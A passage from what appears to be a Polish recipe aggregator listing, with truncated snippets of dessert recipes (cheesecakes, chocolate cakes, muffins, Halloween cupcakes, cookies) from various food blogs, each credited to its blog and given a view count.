gęstego kremu. Wyłożyć na ostudzone ciasto ze śliwkami. Czekoladowa beza: 4 białka, w temperaturze pokojowej 200 g drobnego cukru do wypieków 2 łyżeczki mąki (skrobi) ziemniaczanej 80 g gorzkiej czekolady, roztopionej i lekko przestudzonej Białka umieścić w misie miksera. Ubijać, zwiększając obroty miksera, do otrzymania sztywnej pianki. Dodawać cukier, stopniowo, łyżka po łyżce, aż do wyczerpania cukru i otrzymania gęstej(...)błyszczącej piany. Pod sam koniec ubijania dodać mąką ziemniaczaną. Dodawać roztopioną czekoladę (partiami) i delikatnie wymieszać szpatułką, by w bezie powstały ładne pasma czekolady (nie mieszać do całkowitego połączenia). Formę o wymiarach 23 x 33 cm odwrócić do góry dnem. Wysmarować masłem, wyłożyć papierem do pieczenia. Masę bezową rozsmarować na papierze na wielkość blachy. Piec w temperaturze

Czerwień i błękit
Orzechowe ciasto z karmelem i gruszkami! 135

gruszkami i karmelem miodowym! Ktoś ma ochotę na deser? Tak zaczynamy tydzień! Tak zaczynamy poniedziałek! Przepysznie! Jesiennie! Aromatycznie! To ciasto ma w sobie wszystko co najlepsze, tj. gruszki, czekoladę, orzechy laskowe, orzechy włoskie i karmel z miodem! Mniammmm! Kto piecze dziś? ;-) Zapraszam! SKŁADNIKI: - 4 jaja - kostka margaryny - 270 g mąki - 2 łyżeczki proszku do pieczenia - 3 łyżki czekolady na gorąco(...)łyżki miodu - 50 g cukru - 2 garście orzechów włoskich - 120 ml mleka 3,2% - 3 łyżki puree z dyni - gruszki 6 sztuk W rondlu stop margarynę, dodaj mleko, czekoladę, miód, puree z dyni i orzechy. Wymieszaj dokładnie i odstaw do wystudzenia. Mąkę wymieszaj z proszkiem do pieczenia Oddziel żółtka od białek. Białka ubij na sztywno z cukrem pudrem. Masę

SMYKWKUCHNI
7. Zdrowy jak jabłko, rumiany jak jabłko: czyli wegański jabłecznik ★ 172

migdałów - sok z połowy cytryny * mąka z kaszy gryczanej - należy dokładnie zmielić w młynku kaszę i przesiać ją, w sklepach jest także dostępna gotowa mąka gryczana. Polewa: - tabliczka gorzkiej czekolady Wawel minimum 70% ( Wawel jest wegańską czekoladą ) lub - pół szklanki mleka sojowego lekko słodkiego/mleczka kokosowego - duża łyżka odtłuszczonego kakao Wykonanie: 1. Nagrzej piekarnik do 200 stopni 2. Przesiej mąkę(...)posyp cynamonem, a następnie migdałami. 9. Włóż do piekarnika na około 20-25 minut, zerkając co jakiś czas, czy ciasto się nie przypala. 10. Roztop w kąpieli wodnej tabliczkę czekolady lub podgrzej mleko sojowe i wymieszaj je dokładnie z kakao, polewa powinna być dość gęsta. I tak w około 30 minut mamy gotowe pyszne, kruche ciacho, idealne do popołudniowej kawy

Pland based fille
Ciasteczka z kandyzowanym imbirem i białą czekoladą 164

www.facebook.com/Di.gotuje http://digotuje.blogspot.com    Zainspirowałam się przepisem z blogu: Brunetka w kuchni. Trochę bardziej niż "trochę" zmodyfikowałam jego pierwotną wersję a gorzką czekoladę zamieniłam na białą. Ciasteczka są niezwykle aromatyczne i na pewno posmakują miłośnikom imbiru, ale i nie tylko. Można je przechowywać około tygodnia (zamknięte w pojemniku; wg autorki). (15-16 sztuk) 120g masła/margaryny 110g cukru(...)180g mąki 1 łyżeczka cukru cynamonowego 1 łyżka oleju (użyłam z orzeszków ziemnych) 1/3 łyżeczki proszku do pieczenia (w oryginale go nie było) 50g kandyzowanego imbiru 8 kostek białej czekolady (można użyć dowolnej)     Masło z cukrem utrzeć do białości i połączyć z przesianymi (*) suchymi składnikami. Na końcu ciasto wymieszać z olejem i posiekanym imbirem.   Z masy formować

Di gotuje
Marsjański sernik 189

udało - no i jest! Sernik prosto z marsa Od razu zapowiem, że bałam się, że sernik będzie za słodki dlatego też aby przełamać słodycz sera i marsów dodałam gorzkiej czekolady zamiast mlecznej i do spodu ciasteczkowego dodałam wafla ryżowego który był delikatnie słony - jak dla mnie był to doskonały wybór. Dodałam jeszcze 100 ml baileys'a - nie mogłam się powstrzymać(...)pokruszony wafel ryżowy co było genialnym pomysłem 150 g rozpuszczonego masła 2 łyżki brązowego cukru (u mnie zwykły cukier) 20 g masła, dodatkowo 300 ml śmietany kremówki połowa mlecznej czekolady, posiekanej - u mnie gorzka 3 łyżeczki żelatyny (dałam o jedną więcej) 60 ml wody (gorącej, do rozpuszczenia żelatyny) 500 g sera białego o kremowej konsystencji (u mnie President chudy

sierotka maRysia w kuchni
ogniste muffiny 153

składniki na muffiny: 80 g mąki 20 g migdałów, zmielonych 100 g masła 80 g czekolady, gorzkiej 100 g cukru 2 jajka 2 łyżki mleka 1 łyżka kakao 1 łyżeczka proszku do pieczenia 1/2 łyżeczki pieprzu cayenne wykonanie: W rondelku roztapiamy masło, dodajemy połamaną czekoladę, zestawiamy z ognia i pozostawiamy na ok. 2 min., a następnie mieszamy. Mąkę mieszamy(...)kakao, migdałami, pieprzem cayenne oraz proszkiem do pieczenia. W osobnym naczyniu miksujemy jajka z cukrem na puszystą, jasną pianę. Następnie dodajemy przestudzoną czekoladę i miksujemy. Na koniec dodajemy wymieszane suche składniki oraz mleko i mieszamy przy pomocy np. szpatułki do połączenia się składników. Gotowe ciasto przekładamy do wyłożonej papierowymi papilotkami foremki na muffiny (ok. 10 szt.). Pieczemy

Domowy Smak Jedzenia
Babeczki duszki 124

szklanki mleka 1/4 szklanki maślanki 2 łyżki kakao 1 jajko  łyżeczka proszku do pieczenia 1/4 łyżeczki sody szczypta soli  Dodatkowo: masa cukrowa duże, okrągłe czekoladowe cukierki rozpuszczona czekolada   Babeczki: W jednej misce mieszamy suche składniki, w drugiej mokre. Następnie wlewamy mokre składniki do suchych i mieszamy do uzyskania jednolitej masy. Masę wlewamy do foremek na muffinki(...)1/2-2/3 wysokości foremki. Pieczemy 20 minut w 180 stopniach- do "suchego patyczka". Studzimy. Z przepisu wyszło mi 11 sztuk małych babeczek. Czubek każdej babeczki smarujemy rozpuszczoną czekoladą i ustawiamy czekoladowy cukierek. Masę cukrową rozwałkowujemy na kształt koła i układamy na cukierku. Formujemy postać duszka. Z czekolady robimy oczy i usta. Gotowe! ;) Boooo! :D Przepis na babeczki pochodzi ze strony

Czerwona Porzeczka
Babeczki Wampirki 188

cukru łyżeczka kakao szczypta soli 1/2 łyżeczki czerwonego barwnika w proszku jajko 1/2 szklanki oleju 1/2 szklanki maślanki cukier waniliowy łyżka białego octu winnego 2/3 łyżeczki sody Dodatkowo: rozpuszczona czekolada masa cukrowa  ciasteczka oreo fioletowa posypka   Babeczki: W jednej misce mieszamy suche składniki, w drugiej mokre. Następnie wlewamy mokre składniki do suchych i mieszamy do uzyskania jednolitej masy(...)foremek na muffinki tak 1/2-2/3 wysokości foremki. Pieczemy 20 minut w 180 stopniach- do "suchego patyczka". Studzimy. Z przepisu wyszło mi 11 sztuk małych babeczek. Wierzch babeczek smarujemy rozpuszczoną czekoladą i obtaczamy w posypce. W miejscu gdzie chcemy umieścić skrzydła robimy nacięcie i wkładamy kawałki ciastek oreo. Na odrobinę czekolady przyklejamy oczy i zęby. GOTOWE! ;) Przepis na babeczki podpatrzyłam

Czerwona Porzeczka
Babeczki Halloweenowe- sowy 113

szklanki mleka 1/4 szklanki maślanki 2 łyżki kakao 1 jajko  łyżeczka proszku do pieczenia 1/4 łyżeczki sody szczypta soli Dodatkowo: ciasteczka Oreo czarne i żółte draże trochę rozpuszczonej czekolady do posmarowania babeczek W jednej misce mieszamy suche składniki, w drugiej mokre. Następnie wlewamy mokre składniki do suchych i mieszamy do uzyskania jednolitej masy. Masę wlewamy do foremek na muffinki(...)1/2-2/3 wysokości foremki. Pieczemy 20 minut w 180 stopniach- do "suchego patyczka". Studzimy. Z przepisu wyszło mi 11 sztuk małych babeczek.   Wierzch babeczek ścinamy nożem i smarujemy rozpuszczoną czekoladą. Przyklejamy połówki ciastek w miejscu oczu i ćwiartki ciastek w miejscu brwi. Doklejamy draże- możecie użyć do tego odrobiny czekolady. GOTOWE! ;) Przepis na babeczki pochodzi ze strony  I Love

Czerwona Porzeczka
Namiastka Wiednia dla smakoszy i kilka praktycznych wskazówek 126

receptura tego deseru. Wszystkie inne tworzone są na zasadzie chybił-trafił. Niemniej jednak ten w Cafe Sperl był genialny - puszty, delikatnie wilgotny biszkopt przekładany marmoladą pomarańczową, polany z wierzchu czekoladą. Drugi deser był niezwykle bogaty w smaku, słodki i bardzo czekoladowy. Spód był jakby z delikatnego wafelka / biszkoptu polanego czekoladą, a na wierzchu delikatna skorupka także z czekolady. Solidna dawka

Right Behind The Kitchen
Tiramisu a'la Eton Mess 160

talerzu.         Składniki : 5 jajek 8 łyżek cukru 500 g serka mascarpone 200 g śmietany kremówki śmietan fix 500 g świeżych truskawek zmielona czekolada małe bezy posypane kawą  filiżanka kawy expresso paczka biszkoptów   Przygotowanie:   Żółtka oddzielamy od białek. Białka ubijamy na sztywną pianę, a żółtka razem z cukrem ubijamy na puszystą kremową(...)specjalny pędzelek), na to nakładamy krem, na kremie układamy naprzemiennie bezy, posypane kawą   i truskawki. Nakładamy kolejną warstwę kremu i ponownie układamy bezy i truskawki. Posypujemy wszystko czekoladą. Niestety Tiramisu z czekoladą nie załapało się na zdjęcie. Wkładamy do lodówki na 2 godziny.   SMACZNEGO

Lili w kuchni
Dyniowa babka drożdżowa z powidłami i czekoladą 162

długo zachowuje świeżość. Zachwyci każdego łasucha, smakosza ciasta drożdżowego i dynii. Na jednym kawałku na pewno się nie skończy. To wariacja na temat przepisu prezentowanego tutaj . Chlebek dyniowy z czekoladą tak nam smakował, że musiałam go powtórzyć. By nie było nudno, tym razem ciasto upiekłam w foremce babkowej z nadzieniem z powideł śliwkowych. Babeczka miała ogromne powodzenie! Składniki(...)puree z dynii 90 ml mleka 40 g masła 3 łyżki cukru 1 jajko szczypta soli 1 łyżeczka cynamonu 2 łyżeczki drożdży instant dodatkowo: 60 g gorzkiej czekolady 2-3 łyżki śmietany kremówki słoiczek powideł śliwkowych Wykonanie: puree z dynii przygotuj wg tego przepisu wszystkie składniki na ciasto umieścić w misie robota. Mleko wcześniej podgrzać. zagnieść hakiem sprężyste, lśniące ciasto

Gotuj zdrowo!Guten Appetit!
Blok kryzysowy - przysmak PRL-u 264

Namiastka Pewex-owej czekolady Wyrób czekoladopodobny, kogel-mogel, oranżada, "Ptyś", "Polo Cockta", guma "Donald", lody na ciepło, Cola Cao - to słodkości, które najbardziej utkwiły mi w pamięci z czasów PRL-u i moich wczesnych, "szczenięcych" lat. Zajadałam się nimi z ogromnym zadowoleniem i satysfakcją.  Miały tylko niestety jeden podstawowy  mankament - niezbyt często można je było dostać w sklepach(...)naprawdę pyszne cuda. Za przykład może posłużyć blok czekoladowy , który choć składał się z niewielu składników, był istnym rarytasem! Do tej pory pamiętam, wspólne przygotowywanie z Rodzicielką bloku lub czekolady kryzysowej . Co prawda moja pomoc ograniczała się głównie do końcowej fazy mieszania składników, bo mogłam potem, z dużą dozą somozadowolenia po dobrze wykonanej robocie, wylizać garnek i drewnianą łyżkę

Grunt to przepis!
Jeżyki migdałowe 119

śliczne jeżyki! takie wdzięczne, jesienne ciasteczka w roli głównej z jeżykami, atrakcyjne w wyglądzie i wybornie smakują, trudno się im oprzeć, kruchość połączona ze smakiem czekolady!   Składniki 3 szklanki mąki 1 kostka margaryny 1 szklanka cukru pudru 1/2 kostki smalcu 3 żółtka 2 żółtka ugotowane 1 łyżka zmielonych migdałów polewa 1 tabliczka czekolady 2 łyżki mleka 1 łyżka masła(...)pieczenia. Formujemy kuleczki lekko wydłużając dwoma palcami z jednej strony dzióbek, układamy na blaszkę uformowane jeżyki pieczemy w piekarniku około 15 minut w 200 st. C W rondelku rozpuścić czekoladę z mlekiem i masłem. W gorącej polewie zanurzamy przestygnięte jeżyki trzymając za dzióbek posypujemy migdałami Wykałaczką zanurzoną w polewie robimy oczka . Smacznego

kgwjanczewo
Tort Delicja 716

Biszkopt: 2 jajka- osobno białka i żółtka szczypta soli 1/2 szklanki cukru pudru 40 gram mąki pszennej 20 gram skrobi ziemniaczanej Mus czekoladowy: 100 ml mleka 150 gram czekolady (100 gram gorzkiej, 50 gram mlecznej) 1 łyżka żelatyny + 2 łyżki wody 100 gram śmietany 36% 4 łyżki cukru pudru Dodatkowo: 1 opakowanie galaretki pomarańczowej + 300 ml wody 2 wyfiletowane pomarańcze(...)się zagęściła. Na powierzchni biszkoptu układam wyfiletowane cząsteczki pomarańczy i zalewam bardzo gęstą galaretką. Ciasto odstawiam do lodówki by galaretka stężała. Mus czekoladowy Mleko podgrzewam, dodaję połamaną w kostki czekoladę i rozpuszczam. Ściągam z ognia. Żelatynę rozpuszczam w podanej ilości wrzącej wody i studzę chwilę. Część mleka z czekoladą mieszam z żelatyną, następnie dodaję resztę czekoladowe mleka. Mieszam

Mango Papaja
Czekoladowa tarta z żurawiną 239

Tarta wypełniona mocno czekoladowym sernikiem z dodatkiem świeżej żurawiny. Jej kwaśny smak orzeźwia słodycz czekolady, przez co tarta jest bardziej wyrazista. Wszystko dodatkowo przykryte jest puszystym i delikatnym kremem żurawinowym :) CIASTO KRUCHE: 1 1/2 szklanki mąki pszennej 1/4 szklanki cukru 1/2 łyżeczki proszku do pieczenia 100g masła 2 żółtka 2 łyżki zimnego mleka MASA SEROWA: 500g twarogu 1/3 szklanki śmietanki(...)szklanki cukru 2 jajka 1 łyżka mąki ziemniaczanej 100g czekolady gorzkiej ok 150g świeżej żurawiny KREM ŻURAWINOWY: 100g świeżej żurawiny 1/2 szklanki cukru 2 łyżki wody 3 łyżeczki żelatyny 2 szklanki śmietanki 30% Zimne masło posiekać z mąką, cukrem i proszkiem do pieczenia. Dodać żółtka i zimne mleko. Szybko zagnieść ciasto. Schłodzić w lodówce. Ciasto rozwałkować, podsypując lekko mąką. Nałożyć

https:KKuchniaMniam
Biszkoptowe z kremem dyniowym 157

połączyć a następnie całość przełożyć do reszty kremu. Zmiksować. Nasączenie: pół szklanki kawy Dodatkowo: 290g powideł śliwkowych 1 szklanka drobno posiekanych orzechów włoskich cynamon Polewa czekoladowa: 100 g gorzkiej czekolady 100 ml śmietanki kremówki 30% 1 łyżka masła W garnuszku podgrzać śmietankę i masło. Zdjąć z palnika.   Dodać posiekaną czekoladę, odczekać chwilę, aż czekolada zmięknie, następnie całość wymieszać

kulinarnyswiatdomi
TOP 5 produktów bez których nie obędę się jesienią 193

kwestia czasu? Mimo wszystko, będę starała się do niej przekonać, przede wszystkim ze względu na jej niesamowite właściwości zdrowotne. Najbardziej kuszą mnie wypieki (ciasta, bułeczki!) z jej dodatkiem. ^^ 4. Czekolada Ulubiona słodycz, zarówno wśród dorosłych, jak i dzieci. Poprawia nastrój, dodaje energii i motywuje do działania. Dlaczego tak często sięgamy po nią w chwilach przygnębienia? Otóż zawiera ona w sobie(...)serotoninę. To neuroprzekaźnik w naszym ciele, który ma duży wpływ na nasze samopoczucie. Największe stężenie wszystkich składników odpowiedzialnych za przypływ energii (kofeiny, glukozy, teobraminy oraz fenyloetyloaminy) zawiera oczywiście czekolada gorzka . Taka z prawdziwego zdarzenia zaczyna się od 70 % zawartości kakao. Tak, tak, ja też chętniej sięgam po czekoladę mleczną, ale czasem dla zdrowia wybieram gorzką. Poza tym, taka najlepiej komponuje

Kuchnia Ellie
CIASTECZKA OWSIANE CZEKOLADOWO-ORZECHOWE 131

słodko ze zdrowym dodatkiem płatków owsianych. Składniki:  3 szklanki błyskawicznych płatków owsianych mogą być również inne np.orkiszowe 1,5 szklanki mąki szklanka posiekanych orzechów włoskich 10 dag gorzkiej czekolady 2 czubate łyżki masła 1/2 szklanki oleju 1,5 szklanki cukru 2-3 jajka 2 łyżeczki proszku do pieczenia aromat waniliowy 1/2 łyżeczki soli. W garnku ustawionym na naczyniu(...)wrzącą wodą roztopiłam czekoladę. W misce utarłam masło, wymieszałam je z żółtkami utartymi z cukrem,  olejem, ostudzoną czekoladą i aromatem waniliowym. Na końcu delikatnie połączyłam całość z pianą z białek. Wymieszałam mąkę, proszek do pieczenia, sól i wsypałam do miski z utartym kremem czekoladowym, dodałam płatki owsiane i orzechy. Wszystko porządnie wymieszałam. Blachę wyłożyłam pergaminem, nabierałam łyżeczką czubate porcje

potrawyregionalne
ROLADA CZEKOLADOWA Z BITĄ ŚMIETANĄ I CZARNĄ PORZECZKĄ 148

zrobionego i dodanego do ciasta dżemu z czarnej porzeczki dodał trochę cierpkości i pysznego orzeźwienia. Rolada jest za to bez mąki i tłuszczu! Składniki na około 8 porcji: 100g czekolady gorzkiej deserowej 175g cukru 5 jajek 3 łyżki wody garść migdałów/orzechów/rodzynek szczypta soli 250g śmietany kremówki cukier puder do posypania dżem z czarnej porzeczki Czekoladę rozpuściłam(...)wodzie w rondelku podgrzewanym na małym ogniu, cały czas mieszając. Odstawiłam do ostygnięcia. W misce ubiłam żółtka z cukrem na gęstą masę przez około 3 minuty. Wlałam schłodzoną czekoladę i wymieszałam. Dosypałam pokruszone migdały. Ubiłam pianę z białek, dodałam szczyptę soli. Włożyłam ją do masy czekoladowej i ostrożnie wymieszałam aby masa pozostała puszysta. Blachę o wymiarach 30cm na 20cm wyłożyłam

potrawyregionalne
CZEKOLADOWE NALEŚNIKI Z TRUSKAWKAMI I BIAŁYM SEREM 175

opakowania śmietany jogurtowej 3 łyżki cukru pudru          Propozycje na wierzch naleśników: brązowy cukier do posypania cukier puder do posypania rozpuszczona czekolada do polania starta na drobnej tarce czekolada gęsta śmietana jogurt  Do miski wbiłam dwa jajka. Roztrzepałam je trzepaczką. Wlałam mleko. Mieszając, dosypywałam mąkę. Dodałam gorzkie kakao. Można dodać również rozpuszczoną(...)czekoladę. Jednak podczas przygotowywania ciasta, okazało się, ....że została wcześniej zjedzona ;-)) Całość  wymieszałam, dodając ekstrakt z wanilii i zimne roztopione masło. Ciasto odstawiłam na około 30 minut. Zgęstniało - wlałam więc wodę gazowaną. Rozgrzałam żeliwną patelnię. Smażyłam je bez tłuszczu. Masło które dodałam do ciasta. wystarczyło aby naleśniki nie przywierały. Ciasta starczyło na 15 naleśników. Do miseczki dodałam twaróg

potrawyregionalne
CZEKOLADOWE KRUCHE CIASTECZKA 142

wykonaniu są naprawdę szybkie i proste. A co najważniejsze wiesz co jesz;-)  Pysznie czekoladowe! I o to chodzi, jeśli chce się zjeść słodkości. Składniki: 200 g gorzkiej czekolady 30 g kakao 150 g mąki pszennej 125 g miękkiego masła  70-80 g cukru ( idealnie żeby był brązowy) pół łyżeczki sody oczyszczonej szczypta soli łyżeczka ekstraktu z wanilii(...)jajko   Zacznijmy od rozpuszczenia 100 g czekolady w kąpieli wodnej. Miękkie masło i cukier ubiłam mikserem na puszystą masę. Niestety zabrakło mi brązowego cukru...      Wlałam przestudzoną masę czekoladową.  Wymieszałam.    Dodałam jajko i ekstrakt z wanilii.    Połączyłam masę z suchymi składnikami. Mąką,sodą,kakao i szczyptą soli. Starłam pozostałą część czekolady

potrawyregionalne
CIASTO MAXI KING 358

usatysfakcjonuje wszystkich miłośników krówek i batonów. Nie wymaga pieczenia, więc jest szybkie w wykonaniu. Powinno się go dobrze schłodzić w lodówce. Na polewę można użyć: dowolnie białą lub ciemną czekoladę i solone orzeszki ziemne. Składniki na blachę:24 x 34 cm  około 450 g herbatników 400 g gotowej masy krówkowej lub mleko słodzone skondensowane (gotowane przez 3 godziny(...)szklanka (250 g) mleka 400 g mleka w proszku ( niebieskie opakowanie, miałkie - nie w granulkach) 1,5 kostki masła Składniki na polewę: 2 tabliczki ciemnej lub białej  czekolady  1/4 szklanki mleka puszka solonych orzeszków ziemnych Do garnka wsypałam cukier i cukier wanilinowy. Wlałam szklankę mleka i zagotowałam. Odstawiłam do wystygnięcia. W misce utarłam masło na gładką i puszystą

potrawyregionalne
Sernikobrownie z musem truskawkowym 176

Obłęd. Do musu można wykorzystać również truskawki mrożone. Składniki (na tortownicę o średnicy 24-26 cm): Tortownicę wykładamy papierem do pieczenia. Spód brownie: 150 gram masła 150 gram gorzkiej czekolady 2 jajka 1/2 szklanki cukru 100 gram mąki pszennej Masa serowa: 600 gram zmielonego twarogu 150 gram mascarpone 100 gram budyniu waniliowego (proszek) 1/2 szklanki cukru 2 jajka Mus truskawkowy(...)zmiksować truskawki blenderem. Łączymy puree truskawkowe z galaretką i odstawiamy do wystygnięcia (można wstawić do lodówki). Gdy galaretka będzie już zimna dodajemy do niej jogurt i mieszamy. Spód brownie Czekoladę i masło rozpuszczamy w kąpieli wodnej. W oddzielnej misce miksujemy jajka z cukrem. Następnie mieszamy masę jajeczną z masą czekoladą. Dodajemy przesianą mąkę. Mieszamy. Gotową masę przelewamy do tortownicy

Mango Papaja
Ciasto jabłkowe z delikatnym kremem budyniowym. 181

wymyśliłam sama. Podstawą jest ciasto ucierane z kawałkami jabłek. Na to delikatny krem na bazie śmietany kremówki z dodatkiem serka mascarpone i budyniu waniliowego. Całość jest udekorowana startą gorzką czekoladą. Ciasto smakuje naprawdę wybornie. Zdecydowanie przepis warty powtórzenia i to nie raz :-). Polecam i życzę udanego weekendu.   CIASTO JABŁKOWE Z DELIKATNYM KREMEM BUDYNIOWYM.           Składniki(...)waniliowego 250 g serka mascarpone 250 g śmietany kremówki 1 łyżka domowego cukru waniliowego  lub cukru waniliowego z prawdziwą wanilią 3 łyżki cukru około 40 g gorzkiej czekolady           Sposób przyrządzania:             Miękkie masło utrzeć z cukrem, cukrem waniliowym i szczyptą soli na puszystą masę. Potem dodawać kolejno jajka

Zakątek rozkoszy kulinarnych
sernik bez spodu 131

Serniki bez spodu to moje ulubione. Do tego dodałam skórkę i sok z pomarańczy, dzięki czemu był bardzo aromatyczny i oblałam czekoladą. Zrobiłam go ze swojskiego sera, co jeszcze dodało mu smaku. Bardzo smakował mojemu mężowi, który jest miłośnikiem serników. *foremka 21 cm Składniki: 190 g masła 150 g cukru 6 jajek 700 g sera białego skórka otarta z pomarańczy(...)pomarańczy 1 torebka budyniu waniliowego 75 g mlecznej czekolady 2 łyżki mleka 1 łyżka płatków migdałowych Ser zmielić w maszynce do  mielenia mięsa dwukrotnie.  Miękkie masło utrzeć z cukrem. Ucierając dodawać po żółtku, natępnie po łyżce sera, skórkę i sok z pomarańczy oraz budyń. Z białek ubić pianę i delikatnie wymieszać z masą serową. Przełożyć do tortownicy

Domowa Cukierenka-Domowa Kuchnia
tort bakaliowy z brandy 134

cukru 1 łyżeczka proszku do pieczenia na przełożenie: 500 ml mleka 1 budyń śmietankowy 2 łyżki cukru 150 g masła 1/2 szklanki rodzynek 3 łyżki orzechów włoskich 1/2 tabliczki czekolady z chrupkami 1/2 kieliszka brandy 3/4 słoiczka dżemu z czarnej porzeczki do naponczowania 3/4 szklanki posłodzonej herbaty brandy (ilość według uznania) na dekorację: bita śmietana z kakao cukrowe kwiatki(...)rodzynki Z podanych składników upiec biszkopt, wystudzić i przekroić na trzy krążki. Każdy z nich naponczować. Budyń z cukrem ugotować na mleku, wystudzić. Rodzynki namoczyć w brandy. Orzechy i czekoladę pokroić. Miękkie masło utrzeć z budyniem. Dodać bakalie i czekoladę. Pierwszy krążek ciasta posmarować dżem i wyłożyć połowę kremu. Przykryć drugim ciastem, posmarować dżemem, wyłożyć krem i przykryć biszkoptem. Bitą

Domowa Cukierenka-Domowa Kuchnia
bajaderki piernikowe z bakaliami 132

piernika dodatkowo: 3 łyżki rodzynek namoczonych w kieliszku rumu 3 łyżki posiekanych orzechów 3 łyżki kandyzowanych skórek 3 łyżki miękkie marmolady (użyłam Marmoladki deserowej Jamar) 1,5 tabliczki czekolady deserowej 3 łyżki mleka kolorowe posypki cukrowe  Margarynę, mleko, cukier i kakao zagotować, przestudzić. Zmiksować z resztą składników na piernik. Przelać do dowolnej formy  i piec(...)minut do suchego patyczka. Wystudzić i zmielić w maszynce do mięsa lub zetrzeć na tarce. Dodać bakalie i marmoladę, wymieszać i lepić kulki wielkości orzecha włoskiego lub większe. Czekoladę połamać i rozpuścić z mlekiem w kąpieli wodnej. Za pomocą pędzelka smarować kulki czekoladą i obtaczać w cukierkach

Domowa Cukierenka-Domowa Kuchnia
kruchy makowiec zawijany 120

szklanki maku 4-5 jajek 1 szklanka cukru pudru 1 łyżka kakao 200 g bakalii (orzechy, rodzynki, skórki kandyzowane) 1 płaska łyżeczka proszku do pieczenia na polewę: 100 g czekolady deserowej 3 łyżki mleka ozdoby cukrowe: płatki śniegu i niebieskie cukiereczki Z podanych składników zagnieść kruche ciasto i na czas przygotowania masy makowej owinąć je folią i wstawić do lodówki(...)obawiacie się, że ciasto w środku może być nie upieczone, można wierzch przykryć folią aluminiową (matową stroną do góry) i piec trochę dłużej. Po upieczeniu wystudzić w blaszkach. Połamaną czekoladę i mleko umieścić w małej miseczce. W garnku zagotować wodę i trzymając miseczką nad parą mieszać czekoladę aż się rozpuści. Polać ciasta i udekorować ozdobami cukrowymi.  * przepis inspirowany przepisem

Domowa Cukierenka-Domowa Kuchnia
księżyce orzechowe 116

gotuje" i od razu zagościły także na naszym stole. Składniki: 50 g orzechów włoskich zmielonych 50 g cukru 140 g mąki 10 dag masła na dekorację: 100 g mlecznej czekolady 3 łyżki mleka kilka łyżek orzechów drobno posiekanych Składniki na ciasto zagnieść, jeśli będzie zbyt suche to nie dodawać masła ale poczekać chwilę- gniecione orzechy puszczą tłuszcz. Gotowe ciasto rozwałkować(...)niezbyt cienko, bo ciastka będą się łamać) i wycinać księżyce foremką lub szklanką. Układać na blaszce wyłożonej papierem do pieczenia i piec w 200*C około 8 minut. Czekoladę i mleko rozpuścić w kąpieli wodnej. Wystudzone ciastka polewać czekoladą i posypywać orzechami

Domowa Cukierenka-Domowa Kuchnia
kokosowy puchatek (bez pieczenia) 126

dzieci. *foremka 24*24 cm Składniki: na spód: 16 herbatników ok. 24 sztuki małych ciepłych lodów (użyłam w różnokolorowych polewach- tzw. pocałunki piankowe) na piankę kokosową: 200 g białej czekolady 2 galaretki cytrynowe 2 opakowania śnieżki 350 ml mleka 150 g kokosu  na wierzch: 300 ml śmietanki kremówki 1 opakowanie śmietan-fixu 1 łyżka cukru pudru 2-3 łyżki(...)wyłożyć papierem do pieczenia. Na spodzie ułożyć herbatniki. Na nich poukładać ciepłe lody. Galaretki rozpuścić w 400 ml wody, wystudzić. Do miseczki wlać 50 ml gorącego mleka, wrzucić połamaną czekoladę i rozpuścić. Śnieżki ubić w 300 ml mocno schłodzonego mleka. Do śnieżek dodać czekoladę, galaretki i kokos, wymieszać, przelać do foremki kiedy masa zacznie tężeć. Odstawić w chłodne miejsce. Kiedy

Domowa Cukierenka-Domowa Kuchnia
mazurek czekoladowy 83

mazurka. Zawsze wydawało mi się, że to nie w moim guście,bo lubię bogatsze wypieki. Spróbowałam z ciekawości, wyszło smacznie- w tym przypadku smak mogę porównać do batonika w czekoladzie. Mazurka najlepiej upiec 2-3 dni wcześniej żeby zmięknął bo po upieczeniu ciasto jest dość twarde.  *wymiar około 25*15 cm Składniki: 170 g mąki pszennej 80 g mąki(...)ziemniaczanej 2 żółtka 70 g cukru pudru 150 g masła szczypta soli 2-3 łyżki marmolady  tabliczka czekolady deserowej  2 łyżki mleka cukierki, owoce lub bakalie do dekoracji Mąkę, skrobię ziemniaczaną i sól wymieszać i przesiać. Dodać cukier puder, posiekane zimne masło i żółtka. Zagnieść szybko kruche ciasto i podzielić na dwie części, jedną dużo większą od drugiej

Domowa Cukierenka-Domowa Kuchnia
ciasto truflowe 137

Składniki: na ciasto: 3 jajka 3/4 szklanki cukru 3/4 szklanki mąki 1/2 łyżeczki proszku do pieczenia na krem: 300 ml śmietanki kremówki 300 g cukierków "trufle w czekoladzie" łyżka cukru pudru 1 opakowanie śmietan fixu 1/2 tabliczki mlecznej czekolady Białka ubić z cukrem na sztywną pianę. Nadal ubijając dodawać po żółtku. Mąkę wymieszać z proszkiem do pieczenia i delikatnie wymieszać(...)blaty.  Cukierki pokroić bardzo drobno. Śmietankę ubić z cukrem pudrem i śmietan fixem. Na końcu wmieszać cukierki. Masę podzielić na dwie części i przełożyć biszkopt. Wierzch posypać posiekaną czekoladą. Odstawić do schłodzenia

Domowa Cukierenka-Domowa Kuchnia
sernik z kawałkami czekolady (bez spodu) 162

sernik na pewno przypadnie do gustu wielbicielom prostych serników. To praktycznie sama masa serowa, wzbogacona odrobiną mlecznej czekolady. Serniki bez spodu mają to do siebie, że nie tylko wspaniale smakują ale też są szybsze i łatwiejsze do zrobienia. Tym bardziej polecam osobom początkującym w pieczeniu serników.  *foremka 25*34 cm (lub mniejsza- sernik będzie wyższy) Składniki: 1 kg sera(...)sernik (może być z wiaderka) 1 szklanka cukru 1,5 opakowania budyniu waniliowego (60 g) 8 jajek 200 g masła 1/2 szklanki kaszy manny 100 g mlecznej czekolady cukier puder do posypania Miękkie masło utrzeć z cukrem a następnie dodać żółtka. Do utartej masy dodawać po łyżce sera, kaszę mannę i proszek budyniowy. Z białek ubić pianę i delikatnie wymieszać

Domowa Cukierenka-Domowa Kuchnia
babeczki z serkiem i owocami lasu 128

